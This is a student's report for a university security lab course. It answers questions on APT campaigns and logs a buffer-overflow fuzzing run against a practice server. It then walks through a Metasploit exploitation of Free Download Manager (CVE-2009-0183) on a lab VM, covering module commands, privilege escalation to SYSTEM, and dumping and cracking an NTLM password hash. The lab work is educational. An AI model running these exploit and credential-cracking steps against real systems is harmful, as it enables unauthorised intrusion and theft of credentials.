EEw382N Security Laboratory Exercise 3 Report

Student: Ronghao Zhang

Professor: Mohit Tiwari

TA: Austin Harris

October 22, 2019

Part 1: APT Campaign Questions

Excercise Set 1

1. Dwell time is the number of days an attacker is present on a victim network, from first evidence of compromise to detection.

   The median dwell time decreased in the last year because organizations are getting better at detecting breaches quickly by developong and improving their internal hunting capabilities and enhanced network, also, increasing number of ransomeware and cryptominer engagements make it more often to deetect breach in 30 days. Finally, clients are improving data visibility through better tooling, which also contributed to faster responses.

   One of the benefits of using median time is that median time is relatively less affected by extreme cases (breach detected after several years). Therefore median is more representative to the general group trend.

2. APT37: the mission of APT37 is covert intelligence gathering in support of North Korea's strategic military, political and economic interests.

   APT38: the primary mission of APT38 is targeting financial institutions and manipulating inter-bank financial systems to raise large sums of money for the North Korea regime.

   APT39: the mission of APT39 is to perform monitoring, tracking or surveillance operations against specific individuals, collect proprietary or customer data for commercial or operational purposes that serve strategic requirements related to national priorities, or create additional accesses and vectors to facilitate future campaigns for Iran.

   APT40: this Chinese cyber espionage group targets the engineering, transportation and defense sectors, especially where these sectors overlap with maritime technologies. It also targets universities and similar institutes conducting maritime-related research.

3. Phishing operations:
   - It employs the use of malware attached to email, links, and third party services to social engineer specific individual, company or industry in order to gain unauthrized access to data or even do operations on the targets.
   - To mitigate phishing operations, we can use antivirus or antimalware tools to quarantine

suspicious files, prevent network intrusion, restrict web-based content, and train users.

Strategic web compromise:

- This compromise happens when hackers gain access to a system through a user visiting a website over the normal course of browsing. The website is probably injected with malicious code, displays malicious ads, corrupted buil-in web application interfaces.
- To mitigate this compromise, we can deploy application isolation and use browser sanboxes, security applications such as WDEG and EMET, restrict web-based content, and keep updating the browsers and plugins.

4. "Lack of Investigation" can be problematic because the investor might fail to identify the individual breaches might actually belong to larger breach. Also a deficient playbook allows attackers to remain undetected for a long period of time.

   The defenders should improve their playbook in case of malware detection, and go through more well rounded research on the breach in order to deal with the threats.

   "Poorly Timed Remediation" can be problematic because the victims not only fail to completely eradicate all the backdoors created by the attacker, but also loses the only current visibility into attacker activities.

   This problem can be mitigated by implementing and adopting a more robust and well-rounded incident response plan and playbooks for the investigators. Just implementing the playbook is not enough, it also needs to be regularly updated and adopt newest technology to carry out the actions. Finally, it is important to make sure evidence of investigation is preserved.

Excercise Set 2

5. Lateral Movement sounds like a good fit for web service attacks. This type of attack might be hard to detect because it ususually relies on the existing web services, legitimate external web services to carry out the attack. Moreover, SSL and TLS encryption on the web services also provides an extra layer of camaflauge for the attackers.
6.

Web Service	Examples
Blogging Tools (Twitter, WordPress, tumbler, BlogSpot)	15
Cloud Storage Platforms (Google Drive, Microsoft OneDrive, GitHub, Dropbox, Pastebin)	14
Online Tools (Google Calender, Docs, Sheets, Forms,)	7

7. The blogging tools is most prevalent in the table. Defenders can detect the above three web services by hosting data that can relate unkown or suspicious process to better identify the malware commands. Having packet capture analysis can also make sure the data sent is encrypted. Also, the network data flow will also help identify unusual traffic which is likely to be caused by attackers.

Excercise Set 3

8. As the game industry start to grow over the recent years, great amount of capital start to flow into the game industry, and manipulating. the virtual currency can help attackers achieve higher financial gains.
9. Five stages of Hammertoss are:
    - Generate backdoor handle (tweeter ID) on twitter, and tells the malware to visit a specific handle on a specific day.
    - Post tweeter content that directs to the data that contains malicious script (URL, minimum file size of an image, and part of an encryption key)
    - Visiting GitHub to download an image which contains malicious script. This script can be decoded using the encryption key obtained from the handle post.
    - Employs basic steganography which encrypts the data (commands or login credentials to upload a victim's data to cloud storage) that HammerToss is going to execute.
    - Executing commands and uploading victim data.

    This attack is hard to detect because it adapts really quickly. For example if Github download is banned from the website, they can swap the download URL to another website really quickly.
10. Sudo caching utilizes the amount of time between instances of sudo command that does not require password input to make admin commands. This attack can be mitigated be configure the os and make sure. the tty_tickets setting is enabled. Also, setting timestamp_timeout to 0 will always require user to input their password when running sudo commands.
11. MimiPenguin is a credential dumper that takes advantage of cleartext credentials in memory by dumping the process and extracting lines that are likely to contain cleartext password. It carries out the attack in the following life cycle:
    - Target specific user or account that needs to be monitored, in our case it is likely to be the linux desktop user.
    - It attempts to gain foothold in the environment (usually through spear fishing emails etc) so the mimipenguin script can be downloaded and excuted in the system
    - It uses the compromised system as an access to make lateral movement and acquire more login information of the user.
    - It finally covers the track to maintain access for future initiatives by deleting the execution logs and hide the shell script from the user.

Part 2: Fuzzing

1. When I was fuzzing the HTER command by keep incrementing the size of the buffer I send to the server. And after sending 2080 As the server stopped and here is what the python script printed out:

```
Fuzzed with 2030 As
```

```
Welcome to Vulnerable Server! Enter HELP for help.

Fuzzed with 2040 As
Welcome to Vulnerable Server! Enter HELP for help.

Fuzzed with 2050 As
Welcome to Vulnerable Server! Enter HELP for help.

Fuzzed with 2060 As
Welcome to Vulnerable Server! Enter HELP for help.

Fuzzed with 2070 As
Welcome to Vulnerable Server! Enter HELP for help.

Fuzzed with 2080 As
Fuzzer killed the server
```

2. The reason why server is hanged by the HTER is probably because the command stored too much of the buffer content to the server, therefore causing an overflow of data. As a result, some of the system registers are overwrite by 'A's therefore causing unexpected error.

   An input with 2080 'A's causes such effect because the maximum buffer size for HTER command is probably around 2080 characters.

   Given the result of my fuzzing, I believe that command injection is one of the exploits that we can use to attack the target machine. After overflowing the buffer, we can cause the server to run malicious command by injecting code into the message we send to the server.

Part 3: Exploitation

1. First we need to setup the msfconsole exploit

   `msfconsole`

   `use exploit/windows/http/fdm_auth_header`

   `set RHOSTS 10.0.2.4`

   `exploit` (might need to run multiple times)

   From the wireshark captures it seems that the exploit uses HTTP application protocol and TCP transmitting protocol to interact with the download manager.

2. `Authorization` contains the payload. (double click on the HTTP request sent to the server)
3. When the "Basic" authentication schemed is used, the credentials are constructed as follows:
   - username and password are combined with a colon.
   - The resulting string is base64 encoded

base64 is used because it helps alleviate the problematic characters that may cause trouble in HTTP.

After decoding the payload, I see a lot of uppercase letters

4. The payload is set to 600 bytes, and the actual spoint data is 1012 bytes in total including the payload. The exploit uses upper case letter to overwite it.
5. The above value redirected the program to this address `0x0040ae0f`, the owner of this address should be the free downlaoder manager.
6. We have 600 bytes of space for our payloads to reside in. Larger payload may result in corruption or truncation of our exploit.
7. The default exit functino is 'thread'. This command will make sure the vulnerable program is stable after we send our exploit. This value is usually specified when we alter the shellcode.
8. 'CVE', '2009-0183'
9. The CVSSV@ score of the exploit is 10 because it allows user to execute arbitrary code via authorization header in an HTTP request. This is really critical therefore it is assigned a score of 10 and should be fixed immediately
10. victimbox/class
11. C:\Program Files
12. `systeminfo` 6.1.7601 Service Pack 1 Build 7601
13. `fdmwi.exe` and `1284`

    `1284 2000 fdmwi.exe x86 1 victimbox\class C:\Program Files\Free Download Manager\fdmwi.exe`
14. The victim has three network interfaces. The one we connected to is Intel(R) PRO/1000 MT Desktop Adapter. The Hardware MAC of this interface is : 08:00:27:5e:db:16, and the ip of this interface is 10.0.2.4
15. `[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted: [-] Named Pipe Impersonation (In Memory/Admin) [-] Named Pipe Impersonation (Dropper/Admin) [-] Token Duplication (In Memory/Admin)`
16. `[-] stdapi_fs_chdir: Operation failed: Access is denied.`
17. Current user is `NT AUTHORITY\SYSTEM`
18. `exploit/windows/local/ms13_053_schlamperei` is the exploit that I used to get the admin access.
19. Use `getpid` got me the current process id, and by doing `ps` I was able to find process name and pid, which are: `winlogon.exe` and `432` . The `winlogon.exe` is responsible for loading the user profile into the registry when login in. Therefore, satying in this process should affect other code execution because we alreaday passed the login step.

20. From this hash I got from the exploit `admin:1001:aad3b435b51404eeaad3b435b51404ee:7c098297bf993415889aad26435bb9cc:::`, I extracted the NTLM hash `7c098297bf993415889aad26435bb9cc` and feed it into the online NTML decoder, it returned the following password: `iloveponies`
21. `iloveponies`
22. `i love lutefisk`